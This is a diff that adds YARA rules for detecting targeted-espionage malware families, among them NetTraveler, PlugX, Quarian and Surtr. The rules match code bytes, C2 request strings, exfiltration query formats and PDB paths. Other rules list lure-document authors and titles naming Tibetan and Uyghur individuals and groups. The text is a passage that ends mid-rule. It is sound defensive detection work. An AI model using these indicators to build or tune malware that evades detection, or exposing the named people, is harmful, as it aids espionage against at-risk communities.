+private rule NetTravExports : NetTraveler Family {
+
+	meta:
+		description = "Export names for dll component"
+		author = "Katie Kleemola"
+		last_updated = "2014-05-20"
+	
+	strings:
+		//dll component exports
+		$ = "?InjectDll@@YAHPAUHWND__@@K@Z"
+		$ = "?UnmapDll@@YAHXZ"
+		$ = "?g_bSubclassed@@3HA"
+		
+	condition:
+		any of them
+}
+
+private rule NetTravStrings : NetTraveler Family {
+
+
+	meta:
+        	description = "Identifiers for NetTraveler DLL"
+		author = "Katie Kleemola"
+        	last_updated = "2014-05-20"
+
+	strings:
+		//network strings
+		$ = "?action=updated&hostid="
+		$ = "travlerbackinfo"
+		$ = "?action=getcmd&hostid="
+		$ = "%s?action=gotcmd&hostid="
+		$ = "%s?hostid=%s&hostname=%s&hostip=%s&filename=%s&filestart=%u&filetext="
+
+		//debugging strings
+		$ = "\x00Method1 Fail!!!!!\x00"
+		$ = "\x00Method3 Fail!!!!!\x00"
+		$ = "\x00method currect:\x00"
+		$ = /\x00\x00[\w\-]+ is Running!\x00\x00/
+		$ = "\x00OtherTwo\x00"
+
+	condition:
+		any of them
+
+}
+
+private rule NetpassStrings : NetPass Variant {
+
+        meta:
+                description = "Identifiers for netpass variant"
+                author = "Katie Kleemola"
+                last_updated = "2014-05-29"
+
+        strings:
+		$exif1 = "Device Protect ApplicatioN" wide
+		$exif2 = "beep.sys" wide //embedded exe name
+		$exif3 = "BEEP Driver" wide //embedded exe description
+		
+		$string1 = "\x00NetPass Update\x00"
+		$string2 = "\x00%s:DOWNLOAD\x00"
+		$string3 = "\x00%s:UPDATE\x00"
+		$string4 = "\x00%s:uNINSTALL\x00"
+
+        condition:
+                all of ($exif*) or any of ($string*)
+
+}	
+
+
+rule NetTraveler : Family {
+	meta:
+		description = "Nettravelr"
+		author = "Katie Kleemola"
+		last_updated = "2014-07-08"
+	
+	condition:
+		NetTravExports or NetTravStrings or NetpassStrings
+
+}
+
+rule NetPass : Variant {
+	meta:
+		description = "netpass variant"
+		author = "Katie Kleemola"
+		last_updated = "2014-07-08"
+	condition:
+		NetpassStrings
+}
+private rule NSFreeCode : NSFree Family 
+{
+    meta:
+        description = "NSFree code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-24"
+    
+    strings:
+        // push vars then look for MZ
+        $ = { 53 56 57 66 81 38 4D 5A }
+        // nops then look for PE\0\0
+        $ = { 90 90 90 90 81 3F 50 45 00 00 }
+    
+    condition:
+        all of them
+}
+
+private rule NSFreeStrings : NSFree Family
+{
+    meta:
+        description = "NSFree Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-24"
+        
+    strings:
+        $ = "\\MicNS\\" nocase
+        $ = "NSFreeDll" wide ascii
+        // xor 0x58 dos stub
+        $ = { 0c 30 31 2b 78 28 2a 37 3f 2a 39 35 78 3b 39 36 36 37 }
+        
+    condition:
+       any of them
+}
+
+rule NSFree : Family
+{
+    meta:
+        description = "NSFree"
+        author = "Seth Hardy"
+        last_modified = "2014-06-24"
+        
+    condition:
+        NSFreeCode or NSFreeStrings
+}
+
+/*
+
+These string lists generated on the command line by:
+
+Author:
+file ~/samples/all/* | perl -ne 'if(/Author: (.*?), Template:/) { $x = $1; $x =~ s/\"/\\\"/g; while($x =~ /\\(\d{3})/) { $n = oct($1); $nn = sprintf("%02x",$n); $x =~ s/\\$1/\\x$nn/; chomp $x; } print "        \$ = \"\\x00$x\\x00\\x1e\"\n"; };' | sort | uniq
+
+Title:
+$ file ~/samples/all/* | perl -ne 'if(/Title: (.*?), Author:/) { $x = $1; $x =~ s/\"/\\\"/g; while($x =~ /\\(\d{3})/) { $n = oct($1); $nn = sprintf("%02x",$n); $x =~ s/\\$1/\\x$nn/; chomp $x; } print "        \$ = \"\\x00$x\\x00\\x1e\"\n"; };' | sort | uniq
+
+Last Saved By:
+$ file ~/samples/all/* | perl -ne 'if(/Last Saved By: (.*?), Revision/) { $x = $1; $x =~ s/\"/\\\"/g; while($x =~ /\\(\d{3})/) { $n = oct($1); $nn = sprintf("%02x",$n); $x =~ s/\\$1/\\x$nn/; chomp $x; }   print "        \$ = \"\\x00$x\\x00\\x1e\"\n"; };' | sort | uniq
+
+*/
+
+
+rule OLEAuthor : Author OLEMetadata
+{
+    meta:
+        description = "Identifier for known OLE document authors"
+        author = "Seth Hardy"
+        last_modified = "2014-05-07"
+        
+    strings:
+        $1 = "\x00111\x00\x1e"
+        $2 = "\x0011\x00\x1e"
+        $3 = "\x00123\x00\x1e"
+        $4 = "\x002chu\x00\x1e"
+        $5 = "\x007513A3DEA183474\x00\x1e"
+        $6 = "\x00abc\x00\x1e"
+        $7 = "\x00Administrator\x00\x1e"
+        $8 = "\x00admin\x00\x1e"
+        $9 = "\x00Aggarwal, Aakash\x00\x1e"
+        $10 = "\x00beat\x00\x1e"
+        $11 = "\x00Ben\x00\x1e"
+        $12 = "\x00bf\x00\x1e"
+        $13 = "\x00Booksway\x00\x1e"
+        $14 = "\x00Bosh\x00\x1e"
+        $15 = "\x00captain\x00\x1e"
+        $16 = "\x00CC2\x00\x1e"
+        $17 = "\x00cyano\x00\x1e"
+        $18 = "\x00Dinesh\x00\x1e"
+        $19 = "\x00Dolker\x00\x1e"
+        $20 = "\x00Drokpa\x00\x1e"
+        $21 = "\x00Findo\x00\x1e"
+        $22 = "\x00FLORINE DATESSEN\x00\x1e"
+        $23 = "\x00funghain\x00\x1e"
+        $24 = "\x00HealthDeptt-01\x00\x1e"
+        $25 = "\x00hy9901a\x00\x1e"
+        $26 = "\x00IBM User\x00\x1e"
+        $27 = "\x00IBM\x00\x1e"
+        $28 = "\x00Igny\x00\x1e"
+        $29 = "\x00IITK\x00\x1e"
+        $30 = "\x00I. K\x00\x1e"
+        $31 = "\x00Jamal Al-Masraf\x00\x1e"
+        $32 = "\x00Joyce Havinga\x00\x1e"
+        $33 = "\x00kalume\x00\x1e"
+        $34 = "\x00Karma\x00\x1e"
+        $35 = "\x00karmayeshi\x00\x1e"
+        $36 = "\x00KChase\x00\x1e"
+        $37 = "\x00ken\x00\x1e"
+        $38 = "\x00khenrab\x00\x1e"
+        $39 = "\x00Kunga Tashi\x00\x1e"
+        $40 = "\x00Lenovo User\x00\x1e"
+        $41 = "\x00Lenovo\x00\x1e"
+        $42 = "\x00lenovo\x00\x1e"
+        $43 = "\x00Lharisang\x00\x1e"
+        $44 = "\x00Luitgard Hammerer\x00\x1e"
+        $45 = "\x00MC SYSTEM\x00\x1e"
+        $46 = "\x00mpzhang\x00\x1e"
+        $47 = "\x00neuroking\x00\x1e"
+        $48 = "\x00Ngawang Gelek\x00\x1e"
+        $49 = "\x00niu2\x00\x1e"
+        $50 = "\x00Owner\x00\x1e"
+        $51 = "\x00pema tashi\x00\x1e"
+        $52 = "\x00pepe\x00\x1e"
+        $53 = "\x00perhat64\x00\x1e"
+        $54 = "\x00Remote\x00\x1e"
+        $55 = "\x00ResuR\x00\x1e"
+        $56 = "\x00roy\x00\x1e"
+        $57 = "\x00Samphel\x00\x1e"
+        $58 = "\x00sard\x00\x1e"
+        $59 = "\x00shirley\x00\x1e"
+        $60 = "\x00shungqar\x00\x1e"
+        $61 = "\x00Sofia Olsson\x00\x1e"
+        $62 = "\x00Sonam Dolkar\x00\x1e"
+        $63 = "\x00Son Huynh Hong\x00\x1e"
+        $64 = "\x00system\x00\x1e"
+        $65 = "\x00teguete\x00\x1e"
+        $66 = "\x00tensangmo\x00\x1e"
+        $67 = "\x00tenzin1959\x00\x1e"
+        $68 = "\x00Tenzin\x00\x1e"
+        $69 = "\x00Tran Duy Linh\x00\x1e"
+        $70 = "\x00Traudl\x00\x1e"
+        $71 = "\x00Tsedup\x00\x1e"
+        $72 = "\x00Tsering Tamding\x00\x1e"
+        $73 = "\x00unknown\x00\x1e"
+        $74 = "\x00USER\x00\x1e"
+        $75 = "\x00User\x00\x1e"
+        $76 = "\x00user\x00\x1e"
+        $77 = "\x00votoystein\x00\x1e"
+        $78 = "\x00walkinnet\x00\x1e"
+        $79 = "\x00World Uyghur Congress\x00\x1e"
+        $80 = "\x00www\x00\x1e"
+        //$81 = "\x00             \x00\x1e"
+        //$82 = "\x00        \x00\x1e"
+        //$83 = "\x00      \x00\x1e"
+        //$84 = "\x00  \x00\x1e"
+        $85 = "\x00\xf4_y\xb7\x80\x05\x9e\xbf\x00\x1e"
+        $86 = "\x00xp\x00\x1e"
+        $87 = "\x00YCanPDF\x00\x1e"
+        $88 = "\x00y\x00\x1e"
+        $89 = "\x00zsh\x00\x1e"
+
+    condition:
+        IsOLE and (any of them)
+}
+
+
+rule OLETitle : Title OLEMetadata
+{
+    meta:
+        description = "Identifier for known OLE document titles"
+        author = "Seth Hardy"
+        last_modified = "2014-05-07"
+        
+    strings:
+        $1 = "\x0001:00\x00\x1e"
+        $2 = "\x00    23-Aprel  chushidin keyin saet bir yirim,Xitayning 3 neper paylaqchisi seriqbuya yezida oy arilap yurup paylaqchiliq qiliwatqanda bir oyge toplann\xcaghan bir gurup uyghur yashlarni korgen we ularning yenida pichaq we tam teshidighan eswablarni korup gum\x00\x1e"
+        $3 = "\x0046-120603   fice W648\x00\x1e"
+        $4 = "\x0054-120602   15s\xb7K\x0c]\xb7\x00\x1e"
+        $5 = "\x005-Iyul Urumchi Qirghinchiliqi heqide qisqiche Dokilat \x00\x1e"
+        $6 = "\x00April 20-21, 2013\x00\x1e"
+        $7 = "\x00asdfasdfasdf\x00\x1e"
+        $8 = "\x00Bamako, le 04 d\x00\x1e"
+        $9 = "\x00Best\x00\x1e"
+        $10 = "\x00Dear All,\x00\x1e"
+        $11 = "\x00Dear President and Executive Members,\x00\x1e"
+        $12 = "\x00Full list of self-immolations in Tibet\x00\x1e"
+        $13 = "\x00Help stop the destruction of my home, Lhasa, Tibet\x00\x1e"
+        $14 = "\x00HHDL'visit in European\x00\x1e"
+        $15 = "\x00II) Overview & Analysis:\x00\x1e"
+        $16 = "\x00Institute for Defence Studies and Analyses\x00\x1e"
+        $17 = "\x00IPT  APPLICATION FORM\x00\x1e"
+        $18 = "\x00Jharkhand supports Indian Parliamentary resolution on Tibet crisis\x00\x1e"
+        $19 = "\x00Lieutenant General KENOSE BARRY PHILLIPE,\x00\x1e"
+        $20 = "\x00OPERATIONAL MANUAL:\x00\x1e"
+        $21 = "\x00PART 2 - Overview and Analysis\x00\x1e"
+        $22 = "\x00PowerPoint Presentation\x00\x1e"
+        $23 = "\x00Progress Chart: 15\x00\x1e"
+        $24 = "\x00Progress Chart:\x00\x1e"
+        $25 = "\x00Progress Chart\x00\x1e"
+        $26 = "\x00RC\x00\x1e"
+        $27 = "\x00(RESENDING)\x00\x1e"
+        $28 = "\x00Talking Points EU-China Human Rights Dialogue June 2011\x00\x1e"
+        $29 = "\x00TANC Community Center\x00\x1e"
+        $30 = "\x00The Charg\x00\x1e"
+        $31 = "\x00The following schedule of plans has been finalized for the purpose of holding the Second Special General Meeting of Tibetans being organized jointly by the Tibetan Parliament-in-Exile and the Kashag headed by the Kalon Tripa in accordance with the provis\x00\x1e"
+        $32 = "\x00The Tibet Museum Project\x00\x1e"
+        $33 = "\x00Tibetan Community in Switzerland & Liechtenstein, Binzstrasse 15, CH-8045 Zurich, Switzerland \x00\x1e"
+        $34 = "\x00TSERING BHUTI\x00\x1e"
+        $35 = "\x00Tsering Bhuti\x00\x1e"
+        //$36 = "\x00 \x00\x1e"
+        $37 = "\x00#\x00\x1e"
+        $38 = "\x00\x8d\x00\x1e"
+        $39 = "\x00\x8d\x9a\x06\xb7\x00\x1e"
+        $40 = "\x00\xc8\xf8!\xb7\x00\x1e"
+        $41 = "\x00Yes, I would like to raise this point: how many more young Tibetan lives are to be sacrificed in these awful self immolations before China is likely to change its Tibet policies in favour of Tibetan autonomy\x00\x1e"
+
+
+    condition:
+        IsOLE and (any of them)
+}
+
+rule OLELastSavedBy : LastSavedBy OLEMetadata
+{
+    meta:
+        description = "Identifier for known OLE document Last Saved By field"
+        author = "Seth Hardy"
+        last_modified = "2014-05-07"
+        
+    strings:
+        $1 = "\x00111\x00\x1e"
+        $2 = "\x0011\x00\x1e"
+        $3 = "\x00123\x00\x1e"
+        $4 = "\x00Administrator\x00\x1e"
+        $5 = "\x00Admin\x00\x1e"
+        $6 = "\x00Alex\x00\x1e"
+        $7 = "\x00Audit\x00\x1e"
+        $8 = "\x00A\x00\x1e"
+        $9 = "\x00beat\x00\x1e"
+        $10 = "\x00Ben\x00\x1e"
+        $11 = "\x00bf\x00\x1e"
+        $12 = "\x00Booksway\x00\x1e"
+        $13 = "\x00Bosh\x00\x1e"
+        $14 = "\x00captain\x00\x1e"
+        $15 = "\x00CL_nelson\x00\x1e"
+        $16 = "\x00Core\x00\x1e"
+        $17 = "\x00cyano\x00\x1e"
+        $18 = "\x00dainzin\x00\x1e"
+        $19 = "\x00Dolker\x00\x1e"
+        $20 = "\x00Findo\x00\x1e"
+        $21 = "\x00FLORINE DATESSEN\x00\x1e"
+        $22 = "\x00funghain\x00\x1e"
+        $23 = "\x00HP\x00\x1e"
+        $24 = "\x00hy9901a\x00\x1e"
+        $25 = "\x00IBM User\x00\x1e"
+        $26 = "\x00IBM\x00\x1e"
+        $27 = "\x00Igny\x00\x1e"
+        $28 = "\x00I. K\x00\x1e"
+        $29 = "\x00ITCO\x00\x1e"
+        $30 = "\x00jds\x00\x1e"
+        $31 = "\x00Joyce Havinga\x00\x1e"
+        $32 = "\x00karmayeshi\x00\x1e"
+        $33 = "\x00ken\x00\x1e"
+        $34 = "\x00khenrab\x00\x1e"
+        $35 = "\x00Kunga Tashi\x00\x1e"
+        //$36 = "\x00lebrale\x00\x1e"
+        $37 = "\x00Lenovo User\x00\x1e"
+        $38 = "\x00Lenovo\x00\x1e"
+        $39 = "\x00lenovo\x00\x1e"
+        $40 = "\x00Lharisang\x00\x1e"
+        $41 = "\x00Lhundup Damcho\x00\x1e"
+        $42 = "\x00MC SYSTEM\x00\x1e"
+        $43 = "\x00mm\x00\x1e"
+        $44 = "\x00mpzhang\x00\x1e"
+        $45 = "\x00neuroking\x00\x1e"
+        $46 = "\x00niu2\x00\x1e"
+        $47 = "\x00Normal.d\x00\x1e"
+        $48 = "\x00Normal.w\x00\x1e"
+        $49 = "\x00Normal\x00\x1e"
+        $50 = "\x00one\x00\x1e"
+        $51 = "\x00Owner\x00\x1e"
+        $52 = "\x00pema tashi\x00\x1e"
+        $53 = "\x00pepe\x00\x1e"
+        $54 = "\x00PhiDiem\x00\x1e"
+        $55 = "\x00ResuR\x00\x1e"
+        $56 = "\x00roy\x00\x1e"
+        $57 = "\x00Samphel\x00\x1e"
+        $58 = "\x00system\x00\x1e"
+        $59 = "\x00TCC Dhasa1\x00\x1e"
+        $60 = "\x00tensangmo\x00\x1e"
+        $61 = "\x00Tenzin\x00\x1e"
+        $62 = "\x00test\x00\x1e"
+        $63 = "\x00Tibet Ever\x00\x1e"
+        $64 = "\x00Tran Duy Linh\x00\x1e"
+        $65 = "\x00Traudl\x00\x1e"
+        $66 = "\x00unknown\x00\x1e"
+        $67 = "\x00User\x00\x1e"
+        $68 = "\x00user\x00\x1e"
+        $69 = "\x00USR\x00\x1e"
+        $70 = "\x00walkinnet\x00\x1e"
+        $71 = "\x00WIN7\x00\x1e"
+        $72 = "\x00www\x00\x1e"
+        //$73 = "\x00             \x00\x1e"
+        //$74 = "\x00        \x00\x1e"
+        //$75 = "\x00      \x00\x1e"
+        //$76 = "\x00  \x00\x1e"
+        $77 = "\x00y\x00\x1e"
+
+    condition:
+        IsOLE and (any of them)
+}
+
+private rule OlyxCode : Olyx Family 
+{
+    meta:
+        description = "Olyx code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        $six = { C7 40 04 36 36 36 36 C7 40 08 36 36 36 36 }
+        $slash = { C7 40 04 5C 5C 5C 5C C7 40 08 5C 5C 5C 5C }
+        
+    condition:
+        any of them
+}
+
+private rule OlyxStrings : Olyx Family
+{
+    meta:
+        description = "Olyx Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        $ = "/Applications/Automator.app/Contents/MacOS/DockLight"
+       
+    condition:
+        any of them
+}
+
+rule Olyx : Family
+{
+    meta:
+        description = "Olyx"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    condition:
+        OlyxCode or OlyxStrings
+}
+
+rule XYPayload : Payload
+{
+    meta:
+        description = "Identifier for payloads using XXXXYYYY/YYYYXXXX markers"
+        author = "Seth Hardy"
+        last_modified = "2014-05-05"
+        
+    strings:
+        $start_marker = "XXXXYYYY"
+        $end_marker = "YYYYXXXX"
+    
+    condition:
+        $start_marker and $end_marker
+}
+
+private rule PlugXBootLDRCode : PlugX Family 
+{
+    meta:
+        description = "PlugX boot.ldr code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-12"
+        
+    strings:
+        //$callpop = { E8 00 00 00 00 58 }
+        // Compares [eax+n] to GetProcAdd, one character at a time. This goes up to GetP:
+        $GetProcAdd = { 80 38 47 75 36 80 78 01 65 75 30 80 78 02 74 75 2A 80 78 03 50 }
+        // Load these function strings 4 characters at a time. These check the first two blocks:
+        $L4_LoadLibraryA = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 4C 6F 61 64 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 4C 69 62 72 }
+        $L4_VirtualAlloc = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 56 69 72 74 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 75 61 6C 41 }
+        $L4_VirtualFree = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 56 69 72 74 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 75 61 6C 46 }
+        $L4_ExitThread = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 45 78 69 74 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 54 68 72 65 }
+        $L4_ntdll = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 6E 74 64 6C 66 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) C6 00 }
+        $L4_RtlDecompressBuffer = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 52 74 6C 44 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 65 63 6F 6D }
+        $L4_memcpy = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 6D 65 6D 63 66 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 70 79 }
+        
+    condition:
+        /*($callpop at 0) or */ $GetProcAdd or (all of ($L4_*))
+}
+
+private rule PlugXStrings : PlugX Family
+{
+    meta:
+        description = "PlugX Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-12"
+        
+    strings:
+        $BootLDR = "boot.ldr" wide ascii
+        $Dwork = "d:\\work" nocase
+        $Plug25 = "plug2.5"
+        $Plug30 = "Plug3.0"
+        $Shell6 = "Shell6"
+      
+    condition:
+        $BootLDR or ($Dwork and ($Plug25 or $Plug30 or $Shell6))
+}
+
+rule PlugX : Family
+{
+    meta:
+        description = "PlugX"
+        author = "Seth Hardy"
+        last_modified = "2014-06-12"
+        
+    condition:
+        PlugXBootLDRCode or PlugXStrings
+}
+
+private rule PubSabCode : PubSab Family 
+{
+    meta:
+        description = "PubSab code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        $decrypt = { 6B 45 E4 37 89 CA 29 C2 89 55 E4 }
+        
+    condition:
+        any of them
+}
+
+private rule PubSabStrings : PubSab Family
+{
+    meta:
+        description = "PubSab Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        $ = "_deamon_init"
+        $ = "com.apple.PubSabAgent"
+        $ = "/tmp/screen.jpeg"
+       
+    condition:
+        any of them
+}
+
+rule PubSab : Family
+{
+    meta:
+        description = "PubSab"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    condition:
+        PubSabCode or PubSabStrings
+}
+
+private rule QuarianCode : Quarian Family 
+{
+    meta:
+        description = "Quarian code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-09"
+    
+    strings:
+        // decrypt in intelnat.sys
+        $ = { C1 E? 04 8B ?? F? C1 E? 05 33 C? }
+        // decrypt in mswsocket.dll
+        $ = { C1 EF 05 C1 E3 04 33 FB }
+        $ = { 33 D8 81 EE 47 86 C8 61 }
+        // loop in msupdate.dll
+        $ = { FF 45 E8 81 45 EC CC 00 00 00 E9 95 FE FF FF }
+    
+    condition:
+        any of them
+}
+
+private rule QuarianStrings : Quarian Family
+{
+    meta:
+        description = "Quarian Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-09"
+        
+    strings:
+        $ = "s061779s061750"
+        $ = "[OnUpLoadFile]"
+        $ = "[OnDownLoadFile]"
+        $ = "[FileTransfer]"
+        $ = "---- Not connect the Manager, so start UnInstall ----"
+        $ = "------- Enter CompressDownLoadDir ---------"
+        $ = "------- Enter DownLoadDirectory ---------"
+        $ = "[HandleAdditionalData]"
+        $ = "[mswsocket.dll]"
+        $ = "msupdate.dll........Enter ThreadCmd!"
+        $ = "ok1-1"
+        $ = "msupdate_tmp.dll"
+        $ = "replace Rpcss.dll successfully!"
+        $ = "f:\\loadhiddendriver-mdl\\objfre_win7_x86\\i386\\intelnat.pdb"
+        $ = "\\drivercashe\\" wide ascii
+        $ = "\\microsoft\\windwos\\" wide ascii
+        $ = "\\DosDevices\\LOADHIDDENDRIVER" wide ascii
+        $ = "\\Device\\LOADHIDDENDRIVER" wide ascii
+        $ = "Global\\state_maping" wide ascii
+        $ = "E:\\Code\\2.0\\2.0_multi-port\\2.0\\ServerInstall_New-2010-0913_sp3\\msupdataDll\\Release\\msupdate_tmp.pdb"
+        $ = "Global\\unInstall_event_1554_Ower" wide ascii
+        
+    condition:
+       any of them
+}
+
+rule Quarian : Family
+{
+    meta:
+        description = "Quarian"
+        author = "Seth Hardy"
+        last_modified = "2014-07-09"
+        
+    condition:
+        QuarianCode or QuarianStrings
+}
+
+private rule RegSubDatCode : RegSubDat Family 
+{
+    meta:
+        description = "RegSubDat code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-14"
+    
+    strings:
+        // decryption loop
+        $ = { 80 34 3? 99 40 (3D FB 65 00 00 | 3B C6) 7? F? }
+        // push then pop values
+        $ = { 68 FF FF 7F 00 5? }
+        $ = { 68 FF 7F 00 00 5? }
+    
+    condition:
+        all of them
+}
+
+private rule RegSubDatStrings : RegSubDat Family
+{
+    meta:
+        description = "RegSubDat Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-14"
+        
+    strings:
+        $avg1 = "Button"
+        $avg2 = "Allow"
+        $avg3 = "Identity Protection"
+        $avg4 = "Allow for all"
+        $avg5 = "AVG Firewall Asks For Confirmation"
+        $mutex = "0x1A7B4C9F"
+        
+    condition:
+       all of ($avg*) or $mutex
+}
+
+rule RegSubDat : Family
+{
+    meta:
+        description = "RegSubDat"
+        author = "Seth Hardy"
+        last_modified = "2014-07-14"
+        
+    condition:
+        RegSubDatCode or RegSubDatStrings
+}
+private rule RSharedStrings : Surtr Family {
+	meta:
+		description = "identifiers for remote and gmremote"
+		author = "Katie Kleemola"
+		last_updated = "07-21-2014"
+	
+	strings:
+		$ = "nView_DiskLoydb" wide
+		$ = "nView_KeyLoydb" wide
+		$ = "nView_skins" wide
+		$ = "UsbLoydb" wide
+		$ = "%sBurn%s" wide
+		$ = "soul" wide
+
+	condition:
+		any of them
+
+}
+
+
+private rule RemoteStrings : Remote Variant Surtr Family {
+	meta:
+		description = "indicators for remote.dll - surtr stage 2"
+		author = "Katie Kleemola"
+		last_updated = "07-21-2014"
+	
+	strings:
+		$ = "\x00Remote.dll\x00"
+		$ = "\x00CGm_PlugBase::"
+		$ = "\x00ServiceMain\x00_K_H_K_UH\x00"
+		$ = "\x00_Remote_\x00" wide
+	condition:
+		any of them
+}
+
+private rule GmRemoteStrings : GmRemote Variant Family Surtr {
+	meta:
+		description = "identifiers for gmremote: surtr stage 2"
+		author = "Katie Kleemola"
+		last_updated = "07-21-2014"
+	
+	strings:
+		$ = "\x00x86_GmRemote.dll\x00"
+		$ = "\x00D:\\Project\\GTProject\\Public\\List\\ListManager.cpp\x00"
+		$ = "\x00GmShutPoint\x00"
+		$ = "\x00GmRecvPoint\x00"
+		$ = "\x00GmInitPoint\x00"
+		$ = "\x00GmVerPoint\x00"
+		$ = "\x00GmNumPoint\x00"
+		$ = "_Gt_Remote_" wide
+		$ = "%sBurn\\workdll.tmp" wide
+	
+	condition:
+		any of them
+
+}
+
+/*
+ * Check if File has shared identifiers among Surtr Stage 2's
+ * Then look for unique identifiers to each variant
+*/
+
+rule GmRemote : Family Surtr Variant GmRemote {
+	meta:
+		description = "identifier for gmremote"
+		author = "Katie Kleemola"
+		last_updated = "07-25-2014"
+	
+	condition:
+		RSharedStrings and GmRemoteStrings
+}
+
+rule Remote : Family Surtr Variant Remote {
+	meta:
+		description = "identifier for remote"
+		author = "Katie Kleemola"
+		last_updated = "07-25-2014"
+	
+	condition:
+		RSharedStrings and RemoteStrings
+}
+private rule RookieCode : Rookie Family 
+{
+    meta:
+        description = "Rookie code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        // hidden AutoConfigURL
+        $ = { C6 ?? ?? ?? 41 C6 ?? ?? ?? 75 [4] C6 ?? ?? ?? 6F C6 ?? ?? ?? 43 C6 ?? ?? ?? 6F C6 ?? ?? ?? 6E C6 ?? ?? ?? 66 }
+        // hidden ProxyEnable
+        $ = { C6 ?? ?? ?? 50 [4] C6 ?? ?? ?? 6F C6 ?? ?? ?? 78 C6 ?? ?? ?? 79 C6 ?? ?? ?? 45 C6 ?? ?? ?? 6E C6 ?? ?? ?? 61 }
+        // xor on rand value?
+        $ = { 8B 1D 10 A1 40 00 [18] FF D3 8A 16 32 D0 88 16 }
+
+    condition:
+        any of them
+}
+
+private rule RookieStrings : Rookie Family
+{
+    meta:
+        description = "Rookie Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        $ = "RookIE/1.0"
+        
+    condition:
+       any of them
+}
+
+rule Rookie : Family
+{
+    meta:
+        description = "Rookie"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    condition:
+        RookieCode or RookieStrings
+}
+private rule RooterCode : Rooter Family 
+{
+    meta:
+        description = "Rooter code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-10"
+    
+    strings:
+        // xor 0x30 decryption
+        $ = { 80 B0 ?? ?? ?? ?? 30 40 3D 00 50 00 00 7C F1 }
+    
+    condition:
+        any of them
+}
+
+private rule RooterStrings : Rooter Family
+{
+    meta:
+        description = "Rooter Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-10"
+        
+    strings:
+        $group1 = "seed\x00"
+        $group2 = "prot\x00"
+        $group3 = "ownin\x00"
+        $group4 = "feed0\x00"
+        $group5 = "nown\x00"
+
+    condition:
+       3 of ($group*)
+}
+
+rule Rooter : Family
+{
+    meta:
+        description = "Rooter"
+        author = "Seth Hardy"
+        last_modified = "2014-07-10"
+        
+    condition:
+        RooterCode or RooterStrings
+}
+private rule SafeNetCode : SafeNet Family 
+{
+    meta:
+        description = "SafeNet code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-16"
+        
+    strings:
+        // add edi, 14h; cmp edi, 50D0F8h
+        $ = { 83 C7 14 81 FF F8 D0 40 00 }
+    condition:
+        any of them
+}
+
+private rule SafeNetStrings : SafeNet Family
+{
+    meta:
+        description = "Strings used by SafeNet"
+        author = "Seth Hardy"
+        last_modified = "2014-07-16"
+        
+    strings:
+        $ = "6dNfg8Upn5fBzGgj8licQHblQvLnUY19z5zcNKNFdsDhUzuI8otEsBODrzFCqCKr"
+        $ = "/safe/record.php"
+        $ = "_Rm.bat" wide ascii
+        $ = "try\x0d\x0a\x09\x09\x09\x09  del %s" wide ascii
+        $ = "Ext.org" wide ascii
+        
+    condition:
+        any of them
+
+}
+
+rule SafeNet : Family
+{
+    meta:
+        description = "SafeNet family"
+        
+    condition:
+        SafeNetCode or SafeNetStrings
+        
+}
+
+private rule ScarhiknCode : Scarhikn Family 
+{
+    meta:
+        description = "Scarhikn code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+    
+    strings:
+        // decryption
+        $ = { 8B 06 8A 8B ?? ?? ?? ?? 30 0C 38 03 C7 55 43 E8 ?? ?? ?? ?? 3B D8 59 72 E7 }
+        $ = { 8B 02 8A 8D ?? ?? ?? ?? 30 0C 30 03 C6 8B FB 83 C9 FF 33 C0 45 F2 AE F7 D1 49 3B E9 72 E2 }
+    
+    condition:
+        any of them
+}
+
+private rule ScarhiknStrings : Scarhikn Family
+{
+    meta:
+        description = "Scarhikn Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        $ = "9887___skej3sd"
+        $ = "haha123"
+        
+    condition:
+       any of them
+}
+
+rule Scarhikn : Family
+{
+    meta:
+        description = "Scarhikn"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    condition:
+        ScarhiknCode or ScarhiknStrings
+}
+
+private rule SurtrCode : Surtr Family {
+	meta: 
+		author = "Katie Kleemola"
+		description = "Code features for Surtr Stage1"
+		last_updated = "2014-07-16"
+	
+	strings:
+		//decrypt config
+		$ = { 8A ?? ?? 84 ?? ?? 74 ?? 3C 01 74 ?? 34 01 88 41 3B ?? 72 ?? }
+		//if Burn folder name is not in strings
+		$ = { C6 [3] 42 C6 [3] 75 C6 [3] 72 C6 [3] 6E C6 [3] 5C }
+		//mov char in _Fire
